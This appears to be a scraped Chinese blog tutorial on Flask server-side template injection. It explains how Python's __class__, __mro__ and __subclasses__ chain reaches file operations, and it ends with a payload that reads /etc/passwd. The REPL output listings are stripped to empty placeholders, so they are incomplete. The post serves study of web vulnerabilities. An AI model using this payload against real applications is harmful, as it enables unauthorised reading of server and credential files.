Python——flask漏洞探究总结(持续更新)

通过python的对象的继承来一步步实现文件读取和命令执行的的。

流程:

找到父类–>寻找子类–>找关于命令执行或者文件操作的模块。

几个魔术方法:

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

1 、获取字符串的类对象:

>>> ''.__class__

2:寻找基类:

>>> ''.__class__.__mro__
(, , )

3:寻找可引用:

>>> ''.__class__.__mro__[2].__subclasses__()
[, , , , , , , , , , ,
 , , , , ,
  , , , , 
  , , , ,
  , , , , , , , 
   , , , , , , 
   , , , , , , , 
   , , , , , , 
   , , , , , 
   , , , , , , , , , 
   , , , , , , , , , , , , , , ]
   


可以看到有一个``

4:利用:

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

Python——flask漏洞探究总结(持续更新)_第1张图片

你可能感兴趣的:(Python——flask漏洞探究总结(持续更新))